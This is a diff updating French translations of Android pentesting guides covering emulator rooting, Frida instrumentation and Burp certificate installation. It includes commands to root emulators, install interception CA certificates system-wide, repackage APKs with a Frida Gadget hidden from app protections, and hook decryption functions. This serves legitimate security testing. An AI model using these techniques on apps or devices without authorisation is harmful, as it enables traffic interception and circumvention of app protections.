\AppData\Local\Android\Sdk\tools`
-Sur mac vous pouvez **télécharger les SDK tools** et les avoir dans le PATH en exécutant:
+Sur mac vous pouvez **download the SDK tools** et les avoir dans le PATH en exécutant :
```bash
brew tap homebrew/cask
brew install --cask android-sdk
@@ -24,11 +24,11 @@ Pour les problĂšmes Java :
```java
export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
```
-## Interface graphique
+## Interface graphique (GUI)
### Préparer la machine virtuelle
-Si vous avez installé Android Studio, ouvrez simplement la vue principale du projet et accédez à : _**Tools**_ --> _**AVD Manager.**_
+If you installed Android Studio, you can just open the main project view and access: _**Tools**_ --> _**AVD Manager.**_
@@ -36,25 +36,25 @@ Si vous avez installé Android Studio, ouvrez simplement la vue principale du pr
-Ensuite, cliquez sur _**Create Virtual Device**_
+Then, click on _**Create Virtual Device**_
_**sélectionnez** le téléphone que vous voulez utiliser_ et cliquez sur _**Next.**_
> [!WARNING]
-> Si vous avez besoin d'un téléphone avec Play Store installé, sélectionnez-en un avec l'icÎne Play Store !
+> Si vous avez besoin d'un téléphone avec Play Store installé, sélectionnez-en un qui affiche l'icÎne Play Store !
>
>
-Dans cette vue, vous pourrez **sélectionner et télécharger l'image Android** que le téléphone va exécuter :
+Dans la vue actuelle, vous pourrez **sélectionner et télécharger l'image Android** que le téléphone va exécuter :
-Donc, sélectionnez-la et si elle n'est pas téléchargée cliquez sur le symbole _**Download**_ à cÎté du nom (**attendez maintenant que l'image soit téléchargée).**\
+Donc, sélectionnez-la et, si elle n'est pas téléchargée, cliquez sur le symbole _**Download**_ à cÎté du nom (**attendez maintenant que l'image soit téléchargée).**\
Une fois l'image téléchargée, sélectionnez simplement **`Next`** et **`Finish`**.
-La machine virtuelle sera créée. Maintenant **à chaque fois que vous ouvrirez AVD Manager elle sera présente**.
+La machine virtuelle sera créée. Désormais **à chaque fois que vous accéderez à AVD Manager elle sera présente**.
### Lancer la machine virtuelle
@@ -65,9 +65,9 @@ Pour la **lancer**, appuyez simplement sur le _**Start button**_.
## Outil en ligne de commande
> [!WARNING]
-> Pour macOS, vous pouvez trouver l'outil `avdmanager` dans `/Users//Library/Android/sdk/tools/bin/avdmanager` et l'`emulator` dans `/Users//Library/Android/sdk/emulator/emulator` si vous les avez installés.
+> Pour macOS vous pouvez trouver l'outil `avdmanager` dans `/Users//Library/Android/sdk/tools/bin/avdmanager` et l'`emulator` dans `/Users//Library/Android/sdk/emulator/emulator` si vous les avez installés.
-Tout d'abord, vous devez **décider quel téléphone vous voulez utiliser**, pour afficher la liste des téléphones possibles exécutez:
+Tout d'abord, vous devez **décider quel téléphone vous voulez utiliser**, afin de voir la liste des téléphones possibles exécutez :
```
C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device
@@ -95,12 +95,12 @@ Name: Nexus 10
OEM : Google
[...]
```
-Une fois que vous avez choisi le nom de l'appareil que vous voulez utiliser, vous devez **déterminer quelle image Android vous souhaitez exécuter sur cet appareil.**\
-Vous pouvez lister toutes les options en utilisant `sdkmanager`:
+Une fois que vous avez décidé du nom de l'appareil que vous souhaitez utiliser, vous devez **choisir quelle image Android vous souhaitez exécuter sur cet appareil.**\
+Vous pouvez lister toutes les options en utilisant `sdkmanager` :
```bash
C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list
```
-Et **téléchargez** celui (ou tous) que vous souhaitez utiliser avec :
+Et **téléchargez** celui (ou ceux) que vous souhaitez utiliser avec :
```bash
C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64"
```
@@ -120,12 +120,12 @@ Type: Platform
API level: 29
Revision: 4
```
-à ce stade, vous avez choisi l'appareil que vous souhaitez utiliser et vous avez téléchargé l'image Android, donc **vous pouvez créer la machine virtuelle en utilisant** :
+à ce stade, vous avez choisi l'appareil que vous souhaitez utiliser et téléchargé l'image Android, donc **vous pouvez créer la machine virtuelle en utilisant**:
```bash
C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X"
```
-Dans la derniÚre commande **j'ai créé une VM nommée** "_AVD9_" en utilisant le **device** "_Nexus 5X_" et l'**image Android** "_system-images;android-28;google_apis;x86_64_".\
-Maintenant vous pouvez **lister les machines virtuelles** que vous avez créées avec :
+Dans la derniÚre commande **j'ai créé une VM nommée** "_AVD9_" en utilisant le **device** "_Nexus 5X_" et l'**Android image** "_system-images;android-28;google_apis;x86_64_".\
+Vous pouvez maintenant **lister les machines virtuelles** que vous avez créées avec :
```bash
C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd
@@ -140,10 +140,10 @@ Name: Pixel_2_API_27
Path: C:\Users\cpolo\.android\avd\Pixel_2_API_27_1.avd
Error: Google pixel_2 no longer exists as a device
```
-### Lancer la machine virtuelle
+### Exécuter une machine virtuelle
> [!WARNING]
-> Pour macOS vous pouvez trouver l'outil `avdmanager` dans `/Users//Library/Android/sdk/tools/bin/avdmanager` et l'`emulator` dans `/Users//Library/Android/sdk/emulator/emulator` si vous les avez installés.
+> Sur macOS, vous pouvez trouver l'outil `avdmanager` dans `/Users//Library/Android/sdk/tools/bin/avdmanager` et l'`emulator` dans `/Users//Library/Android/sdk/emulator/emulator` si vous les avez installés.
Nous avons déjà vu comment lister les machines virtuelles créées, mais **vous pouvez aussi les lister en utilisant**:
```bash
@@ -160,9 +160,9 @@ Ou en utilisant des options plus avancées, vous pouvez exécuter une machine vi
```bash
C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
```
-### Options de ligne de commande
+### Options en ligne de commande
-Cependant il existe **de nombreuses options utiles en ligne de commande** que vous pouvez utiliser pour lancer une machine virtuelle. Vous trouverez ci-dessous quelques options intéressantes mais vous pouvez [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline)
+Cependant il existe **beaucoup d'options utiles en ligne de commande** que vous pouvez utiliser pour lancer une machine virtuelle. Ciâdessous vous trouverez quelques options intĂ©ressantes mais vous pouvez [**consulter la liste complĂšte ici**](https://developer.android.com/studio/run/emulator-commandline)
**Démarrage**
@@ -172,21 +172,21 @@ Cependant il existe **de nombreuses options utiles en ligne de commande** que vo
**Réseau**
- `-dns-server 192.0.2.0, 192.0.2.255` : Permet d'indiquer, séparés par des virgules, les serveurs DNS pour la VM.
-- **`-http-proxy 192.168.1.12:8080`** : Permet d'indiquer un proxy HTTP Ă utiliser (trĂšs utile pour capturer le trafic avec Burp)
-- Si les paramĂštres du proxy ne fonctionnent pas pour une raison quelconque, essayez de les configurer en interne ou en utilisant une application comme "Super Proxy" ou "ProxyDroid".
-- `-netdelay 200` : Définit la latence réseau simulée en millisecondes.
-- `-port 5556` : Définit le numéro de port TCP utilisé pour la console et adb.
-- `-ports 5556,5559` : Définit les ports TCP utilisés pour la console et adb.
-- **`-tcpdump /path/dumpfile.cap`** : Capture tout le trafic dans un fichier
+- **`-http-proxy 192.168.1.12:8080`** : Permet d'indiquer un HTTP proxy Ă utiliser (trĂšs utile pour capturer le trafic avec Burp)
+- Si les paramĂštres de proxy ne fonctionnent pas pour une raison quelconque, essayez de les configurer en interne ou d'utiliser une application comme "Super Proxy" ou "ProxyDroid".
+- `-netdelay 200` : Configurer l'émulation de latence réseau en millisecondes.
+- `-port 5556` : Définir le numéro de port TCP utilisé pour la console et adb.
+- `-ports 5556,5559` : Définir les ports TCP utilisés pour la console et adb.
+- **`-tcpdump /path/dumpfile.cap`** : Capturer tout le trafic dans un fichier
**SystĂšme**
-- `-selinux {disabled|permissive}` : Définit le module de sécurité Security-Enhanced Linux en mode disabled ou permissive sur un systÚme Linux.
-- `-timezone Europe/Paris` : Définit le fuseau horaire pour le périphérique virtuel
-- `-screen {touch(default)|multi-touch|o-touch}` : Définit le mode d'écran tactile émulé.
-- **`-writable-system`** : Utilisez cette option pour disposer d'une image systÚme en écriture durant votre session d'émulation. Vous devrez aussi exécuter `adb root; adb remount`. Ceci est trÚs utile pour installer un nouveau certificat dans le systÚme.
+- `-selinux {disabled|permissive}` : Définir le module de sécurité Security-Enhanced Linux en mode disabled ou permissive sur un systÚme d'exploitation Linux.
+- `-timezone Europe/Paris` : Définir le fuseau horaire pour l'appareil virtuel
+- `-screen {touch(default)|multi-touch|o-touch}` : Définir le mode d'écran tactile émulé.
+- **`-writable-system`** : Utilisez cette option pour disposer d'une image systÚme en écriture pendant votre session d'émulation. Vous devrez aussi exécuter `adb root; adb remount`. TrÚs utile pour installer un nouveau certificat dans le systÚme.
-## Linux CLI setup (SDK/AVD quickstart)
+## Configuration CLI sous Linux (SDK/AVD démarrage rapide)
Les outils CLI officiels facilitent la création d'émulateurs rapides et débogables sans Android Studio.
```bash
@@ -216,10 +216,10 @@ emulator -avd PixelRootX86 -writable-system -snapshot PixelRootX86_snap
adb root
adb shell whoami # expect: root
```
-Notes
-- Variantes d'images systÚme: google_apis (déboggable, permet `adb root`), google_apis_playstore (non rootable), aosp/default (léger).
-- Types de build: userdebug permet souvent `adb root` sur les images compatibles debug. Les images Play Store sont des builds de production et bloquent l'accĂšs root.
-- Sur les hÎtes x86_64, l'émulation systÚme complÚte ARM64 n'est pas prise en charge à partir de API 28+. Pour Android 11+ utilisez les images Google APIs/Play qui incluent une traduction ARM-vers-x86 par application pour exécuter rapidement de nombreuses apps réservées à ARM.
+Remarques
+- Variantes d'images systÚme : google_apis (débogable, autorise `adb root`), google_apis_playstore (non rootable), aosp/default (léger).
+- Types de build : userdebug permet souvent `adb root` sur les images compatibles avec le débogage. Les images Play Store sont des builds de production et bloquent le root.
+- Sur les hÎtes x86_64, l'émulation systÚme complÚte ARM64 n'est pas prise en charge à partir d'API 28+. Pour Android 11+ utilisez des images Google APIs/Play qui incluent une traduction par application ARM-to-x86 pour exécuter rapidement de nombreuses applications ARM-only.
### Instantanés depuis la CLI
```bash
@@ -229,30 +229,31 @@ adb -s emulator-5554 emu avd snapshot save my_clean_setup
# Boot from a named snapshot (if it exists)
emulator -avd PixelRootX86 -writable-system -snapshot my_clean_setup
```
-## Traduction binaire ARMâx86 (Android 11+)
+## ARMâx86 binary translation (Android 11+)
-Les images Google APIs et Play Store sur Android 11+ peuvent traduire les binaires d'applications ARM par processus tout en conservant le reste du systÚme natif x86/x86_64. C'est souvent suffisamment rapide pour tester de nombreuses applications réservées à ARM sur un desktop.
+Les images Google APIs et Play Store sur Android 11+ peuvent traduire les binaires d'app ARM par processus tout en conservant le reste du systĂšme natif x86/x86_64. C'est souvent assez rapide pour tester de nombreuses applications uniquement ARM sur un poste de travail.
-> Astuce : Préférez les images Google APIs x86/x86_64 pendant les pentests. Les images Play sont pratiques mais bloquent `adb root` ; ne les utilisez que lorsque vous avez spécifiquement besoin des Play services et acceptez l'absence de root.
+> Astuce : Préférez les images Google APIs x86/x86_64 lors des pentests. Les images Play sont pratiques mais bloquent `adb root` ; ne les utilisez que lorsque vous avez spécifiquement besoin de Play services et acceptez l'absence de root.
-## Rooting a Play Store device
+## Obtenir le root sur un appareil Play Store
-Si vous avez téléchargé un appareil avec Play Store, vous ne pourrez pas obtenir le root directement, et vous obtiendrez ce message d'erreur
+Si vous avez téléchargé un appareil avec Play Store, vous ne pourrez pas obtenir le root directement, et vous verrez ce message d'erreur
```
$ adb root
adbd cannot run as root in production builds
```
-En utilisant [rootAVD](https://github.com/newbit1/rootAVD) avec [Magisk](https://github.com/topjohnwu/Magisk) j'ai pu obtenir l'accĂšs root (suivez par exemple [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **ou** [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8)).
+Using [rootAVD](https://github.com/newbit1/rootAVD) with [Magisk](https://github.com/topjohnwu/Magisk) I was able to root it (suivez par exemple [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **ou** [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8)).
## Installer le certificat Burp
Consultez la page suivante pour apprendre comment installer un certificat CA personnalisé :
+
{{#ref}}
install-burp-certificate.md
{{#endref}}
-## Options utiles pour l'AVD
+## Options AVD utiles
### Prendre un snapshot
diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md
index 62b282d2f..5e4f8edb1 100644
--- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md
+++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md
@@ -1,4 +1,4 @@
-# Frida Tutoriel
+# Tutoriel Frida
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,22 +10,22 @@ Installer **frida tools**:
pip install frida-tools
pip install frida
```
-**Télécharger et installer** sur l'appareil Android le **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\
-Commande en une ligne pour redémarrer adb en mode root, s'y connecter, transférer frida-server, lui donner les permissions d'exécution et le lancer en arriÚre-plan:
+**Téléchargez et installez** sur l'appareil Android le **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\
+Commande en une seule ligne pour redémarrer adb en mode root, s'y connecter, téléverser frida-server, lui donner les permissions d'exécution et l'exécuter en arriÚre-plan :
```bash
adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &"
```
-**Vérifier** si cela **fonctionne**:
+**Vérifiez** si cela **fonctionne**:
```bash
frida-ps -U #List packages and processes
frida-ps -U | grep -i #Get all the package name
```
## Frida server vs. Gadget (root vs. no-root)
-Deux façons courantes d'instrumenter des applications Android avec Frida :
+Deux façons courantes d'instrumenter des apps Android avec Frida :
-- Frida server (rooted devices): Poussez et exécutez un daemon natif qui vous permet de vous attacher à n'importe quel processus.
-- Frida Gadget (no root): Intégrez Frida en tant que bibliothÚque partagée dans l'APK et chargez-la automatiquement dans le processus cible.
+- Frida server (rooted devices): Transférer et exécuter un démon natif qui vous permet de vous attacher à n'importe quel processus.
+- Frida Gadget (no root): Intégrer Frida en tant que bibliothÚque partagée dans l'APK et la charger automatiquement dans le processus cible.
Frida server (rooted)
```bash
@@ -42,9 +42,9 @@ frida -U -n com.example.app
```
Frida Gadget (no-root)
-1) Décompressez l'APK, ajoutez le gadget .so et la configuration :
-- Placez libfrida-gadget.so dans lib// (p. ex., lib/arm64-v8a/)
-- Créez assets/frida-gadget.config avec les paramÚtres de chargement de vos scripts
+1) Décompressez l'APK, ajoutez le gadget .so et la config :
+- Placez libfrida-gadget.so dans lib// (e.g., lib/arm64-v8a/)
+- Créez assets/frida-gadget.config avec vos script loading settings
Exemple frida-gadget.config
```json
@@ -53,10 +53,10 @@ Exemple frida-gadget.config
"runtime": { "logFile": "/sdcard/frida-gadget.log" }
}
```
-2) Référencer/charger le gadget afin qu'il soit initialisé tÎt :
-- Le plus simple : ajouter un petit stub Java qui appelle System.loadLibrary("frida-gadget") dans Application.onCreate(), ou utiliser le chargement natif de la bibliothÚque déjà présent.
+2) Référencez/chargez le gadget pour qu'il soit initialisé tÎt:
+- Le plus simple : ajoutez un petit stub Java appelant System.loadLibrary("frida-gadget") dans Application.onCreate(), ou utilisez le chargement natif de librairie déjà présent.
-3) Repaqueter et signer l'APK, puis l'installer :
+3) Réemballez et signez l'APK, puis installez:
```bash
apktool d app.apk -o app_m
# ... add gadget .so and config ...
@@ -70,38 +70,38 @@ frida-ps -Uai
frida -U -n com.example.app
```
Remarques
-- Gadget est détecté par certaines protections ; gardez les noms/chemins discrets et chargez-le tardivement/de façon conditionnelle si nécessaire.
-- Sur les applications durcies, privilégiez les tests sur appareils rootés avec server + late attach, ou combinez avec Magisk/Zygisk hiding.
+- Gadget est détecté par certaines protections ; laissez les noms/chemins discrets et chargez-le tardivement/conditionnellement si nécessaire.
+- Sur les applications durcies, privilégiez des tests sur appareil rooté avec server + late attach, ou combinez avec le masquage Magisk/Zygisk.
## Tutoriels
-### [Tutoriel 1](frida-tutorial-1.md)
+### [Tutorial 1](frida-tutorial-1.md)
**Source**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
**Code source**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
-**Suivez le [lien pour le lire](frida-tutorial-1.md).**
+**Suivez le [link to read it](frida-tutorial-1.md).**
-### [Tutoriel 2](frida-tutorial-2.md)
+### [Tutorial 2](frida-tutorial-2.md)
-**Source**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parties 2, 3 & 4)\
-**APKs et code source**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
+**Source**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\
+**APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
-**Suivez le [lien pour le lire.](frida-tutorial-2.md)**
+**Suivez le[ link to read it.](frida-tutorial-2.md)**
-### [Tutoriel 3](owaspuncrackable-1.md)
+### [Tutorial 3](owaspuncrackable-1.md)
**Source**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk)
-**Suivez le [lien pour le lire](owaspuncrackable-1.md).**
+**Suivez le [link to read it](owaspuncrackable-1.md).**
-**Vous pouvez trouver plus de scripts Awesome Frida ici:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
+**Vous pouvez trouver plus d'excellents scripts Frida ici :** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
## Exemples rapides
-### Appeler Frida depuis la ligne de commande
+### Calling Frida from command line
```bash
frida-ps -U
@@ -168,9 +168,9 @@ send("Activity HIT!!!")
var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0)
}
```
-### Hooking des fonctions avec des paramÚtres et récupération de la valeur
+### Hooking de fonctions avec paramÚtres et récupération de la valeur
-Hooking d'une fonction de decryption. Affichez l'entrée, appelez la fonction originale pour decrypt l'entrée et enfin affichez les données en clair :
+Hooking d'une fonction de déchiffrement. Affichez l'entrée, appelez la fonction originale pour déchiffrer l'entrée et enfin, affichez les données en clair:
```javascript
function getString(data) {
var ret = ""
@@ -195,9 +195,9 @@ send("Decrypted flag: " + flag)
return ret //[B
}
```
-### Hooking des fonctions et les appeler avec notre entrée
+### Hooking functions et les appeler avec notre input
-Hook une fonction qui reçoit une string et l'appeler avec une autre string (d'aprÚs [here](https://11x256.github.io/Frida-hooking-android-part-2/))
+Hook a function qui reçoit un string et l'appeler avec un autre string (d'aprÚs [here](https://11x256.github.io/Frida-hooking-android-part-2/))
```javascript
var string_class = Java.use("java.lang.String") // get a JS wrapper for java's String class
@@ -210,11 +210,11 @@ console.log("Return value: " + ret)
return ret
}
```
-### Obtenir un objet déjà créé d'une classe
+### Récupérer un objet déjà créé d'une classe
Si vous voulez extraire un attribut d'un objet déjà créé, vous pouvez utiliser ceci.
-Dans cet exemple, vous allez voir comment obtenir l'objet de la classe my_activity et comment appeler la fonction .secret() qui affichera un attribut privé de l'objet :
+Dans cet exemple, vous allez voir comment récupérer l'objet de la classe my_activity et comment appeler la fonction .secret() qui affichera un attribut privé de l'objet :
```javascript
Java.choose("com.example.a11x256.frida_test.my_activity", {
onMatch: function (instance) {
@@ -228,13 +228,13 @@ onComplete: function () {},
## Autres tutoriels Frida
- [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
-- [Part 1 of Advanced Frida Usage blog series: IOS Encryption Libraries](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
+- [Partie 1 de la série de blogs "Advanced Frida Usage" : bibliothÚques de chiffrement iOS](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
## Références
-- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
-- [Frida Gadget documentation](https://frida.re/docs/gadget/)
-- [Frida releases (server binaries)](https://github.com/frida/frida/releases)
+- [Construire un laboratoire Android Bug Bounty reproductible : Emulator vs Magisk, Burp, Frida, et Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
+- [Documentation de Frida Gadget](https://frida.re/docs/gadget/)
+- [Frida releases (binaires serveur)](https://github.com/frida/frida/releases)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md
index 7e93ff45d..7343c4422 100644
--- a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md
+++ b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md
@@ -3,9 +3,9 @@
{{#include ../../banners/hacktricks-training.md}}
-## Proxy systĂšme via ADB
+## Proxy global via ADB
-Configurez un proxy HTTP global afin que toutes les applications acheminent le trafic via votre intercepteur (Burp/mitmproxy) :
+Configurez un proxy HTTP global pour que toutes les applications routent leur trafic via votre interceptor (Burp/mitmproxy) :
```bash
# Set proxy (device/emulator must reach your host IP)
adb shell settings put global http_proxy 192.168.1.2:8080
@@ -13,7 +13,7 @@ adb shell settings put global http_proxy 192.168.1.2:8080
# Clear proxy
adb shell settings put global http_proxy :0
```
-Astuce : Dans Burp, liez votre listener Ă 0.0.0.0 afin que les appareils sur le LAN puissent se connecter (Proxy -> Options -> Proxy Listeners).
+Astuce : dans Burp, liez votre listener Ă 0.0.0.0 afin que les appareils du LAN puissent se connecter (Proxy -> Options -> Proxy Listeners).
## Sur une machine virtuelle
@@ -21,7 +21,7 @@ Tout d'abord, vous devez télécharger le certificat Der depuis Burp. Vous pouve
.png>)
-**Exportez le certificat au format Der** et transformons-le pour obtenir une forme que **Android** pourra **comprendre.** Notez que **pour configurer le certificat Burp sur la machine Android dans AVD** vous devez **exécuter** cette machine **avec** l'option **`-writable-system`**.\
+**Exportez le certificat au format Der** et **transformons** le en un format que **Android** pourra **comprendre.** Notez que **pour configurer le certificat burp sur la machine Android dans AVD** vous devez **exécuter** cette machine **avec** l'option **`-writable-system`**.\
Par exemple vous pouvez l'exécuter comme :
```bash
C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
@@ -37,43 +37,43 @@ adb shell mv /sdcard/$CERTHASHNAME /system/etc/security/cacerts/ #Move to correc
adb shell chmod 644 /system/etc/security/cacerts/$CERTHASHNAME #Assign privileges
adb reboot #Now, reboot the machine
```
-Une fois que la machine a terminé le redémarrage, le certificat Burp sera utilisé par celle-ci !
+Once the **machine finish rebooting** the burp certificate will be in use by it!
-## Using Magisc
+## Utiliser Magisc
-Si vous avez **rootĂ© votre appareil avec Magisc** (peutâĂȘtre un Ă©mulateur), et que vous **ne pouvez pas suivre** les **Ă©tapes** prĂ©cĂ©dentes pour installer le certificat Burp parce que le **systĂšme de fichiers est en lecture seule** et que vous ne pouvez pas le remonter en Ă©criture, il existe une autre mĂ©thode.
+Si vous **avez rooté votre appareil avec Magisc** (par exemple un émulateur), et que vous **ne pouvez pas suivre** les **étapes** précédentes pour installer le certificat Burp parce que le **systÚme de fichiers est en lecture seule** et que vous ne pouvez pas le remonter en écriture, il existe une autre méthode.
-Expliqué dans [**cette vidéo**](https://www.youtube.com/watch?v=qQicUW0svB8) vous devez :
+Expliqué dans [**this video**](https://www.youtube.com/watch?v=qQicUW0svB8) vous devez :
-1. **Installer un certificat CA** : Il suffit de **drag&drop** le certificat Burp au format DER en **changeant lâextension** en `.crt` sur le mobile pour quâil soit stockĂ© dans le dossier Downloads et aller Ă `Install a certificate` -> `CA certificate`
+1. **Installer un certificat CA** : Il suffit de **glisser-dĂ©poser** le certificat Burp en DER en **changeant lâextension** en `.crt` sur le mobile pour quâil soit stockĂ© dans le dossier Downloads, puis aller dans `Install a certificate` -> `CA certificate`
-- Vérifiez que le certificat a été correctement stocké en allant dans `Trusted credentials` -> `USER`
+- Vérifiez que le certificat a été correctement enregistré en allant dans `Trusted credentials` -> `USER`
-2. **Le rendre approuvĂ© par le systĂšme** : TĂ©lĂ©chargez le module Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (un fichier .zip), **drag&drop** le sur le tĂ©lĂ©phone, allez dans lâapp Magics du tĂ©lĂ©phone Ă la section **`Modules`**, cliquez sur **`Install from storage`**, sĂ©lectionnez le module `.zip` et une fois installĂ© **redĂ©marrez** le tĂ©lĂ©phone :
+2. **Le rendre approuvĂ© par le systĂšme** : TĂ©lĂ©chargez le module Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (un fichier .zip), **glissez-le** dans le tĂ©lĂ©phone, ouvrez lâapplication **Magics** sur le tĂ©lĂ©phone dans la section **`Modules`**, cliquez sur **`Install from storage`**, sĂ©lectionnez le module `.zip` et une fois installĂ© **redĂ©marrez** le tĂ©lĂ©phone :
-- AprÚs le redémarrage, allez dans `Trusted credentials` -> `SYSTEM` et vérifiez que le certificat Postswigger est présent
+- AprĂšs le redĂ©marrage, allez dans `Trusted credentials` -> `SYSTEM` et vĂ©rifiez que le certificat Postswigger sây trouve
-### Learn how to create a Magisc module
+### Apprendre à créer un module Magisc
Consultez [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437)
## Post Android 14
-Dans la derniĂšre release dâAndroid 14, un changement important a Ă©tĂ© observĂ© dans la gestion des certificats dâautoritĂ© (CA) approuvĂ©s par le systĂšme. Auparavant, ces certificats Ă©taient stockĂ©s dans **`/system/etc/security/cacerts/`**, accessibles et modifiables par les utilisateurs avec les privilĂšges root, ce qui permettait une application immĂ©diate sur lâensemble du systĂšme. Cependant, avec Android 14, lâemplacement de stockage a Ă©tĂ© dĂ©placĂ© vers **`/apex/com.android.conscrypt/cacerts`**, un rĂ©pertoire situĂ© dans le chemin **`/apex`**, qui est immuable par nature.
+Dans la derniĂšre version Android 14, un changement important a Ă©tĂ© observĂ© dans la gestion des certificats dâautoritĂ© (CA) approuvĂ©s par le systĂšme. Auparavant, ces certificats Ă©taient stockĂ©s dans **`/system/etc/security/cacerts/`**, accessibles et modifiables par les utilisateurs disposant des privilĂšges root, ce qui permettait leur application immĂ©diate Ă lâĂ©chelle du systĂšme. Cependant, avec Android 14, lâemplacement de stockage a Ă©tĂ© dĂ©placĂ© vers **`/apex/com.android.conscrypt/cacerts`**, un rĂ©pertoire au sein du chemin **`/apex`**, qui est immuable par nature.
-Les tentatives de remonter le **APEX cacerts path** en Ă©criture Ă©chouent, car le systĂšme nâautorise pas ce type dâopĂ©ration. MĂȘme les tentatives de dĂ©montage ou de superposition du rĂ©pertoire avec un systĂšme de fichiers temporaire (tmpfs) ne contournent pas lâimmuabilitĂ© ; les applications continuent dâaccĂ©der aux donnĂ©es de certificats dâorigine quelles que soient les modifications au niveau du systĂšme de fichiers. Cette rĂ©silience est due au fait que le montage de **`/apex`** est configurĂ© avec une PRIVATE propagation, ce qui garantit que toute modification au sein du rĂ©pertoire **`/apex`** nâaffecte pas les autres processus.
+Les tentatives de remonter le **chemin APEX cacerts** en Ă©criture Ă©chouent, car le systĂšme nâautorise pas ce type dâopĂ©ration. MĂȘme les tentatives de dĂ©monter ou de superposer le rĂ©pertoire avec un systĂšme de fichiers temporaire (tmpfs) ne contournent pas lâimmuabilitĂ© ; les applications continuent dâaccĂ©der aux donnĂ©es de certificats dâorigine indĂ©pendamment des modifications au niveau du systĂšme de fichiers. Cette rĂ©silience est due au fait que le montage **`/apex`** est configurĂ© avec une propagation PRIVATE, assurant que toute modification au sein du rĂ©pertoire **`/apex`** nâaffecte pas les autres processus.
-Lâinitialisation dâAndroid implique le processus `init` qui, au dĂ©marrage du systĂšme dâexploitation, lance Ă©galement le processus Zygote. Ce dernier est responsable du lancement des processus dâapplication avec un nouveau mount namespace qui inclut un montage privĂ© **`/apex`**, isolant ainsi les modifications de ce rĂ©pertoire des autres processus.
+Lâinitialisation dâAndroid implique le processus `init`, qui, au dĂ©marrage du systĂšme dâexploitation, lance Ă©galement le processus Zygote. Ce processus est responsable du lancement des processus dâapplication avec un nouveau namespace de montage qui inclut un montage privĂ© **`/apex`**, isolant ainsi les modifications de ce rĂ©pertoire des autres processus.
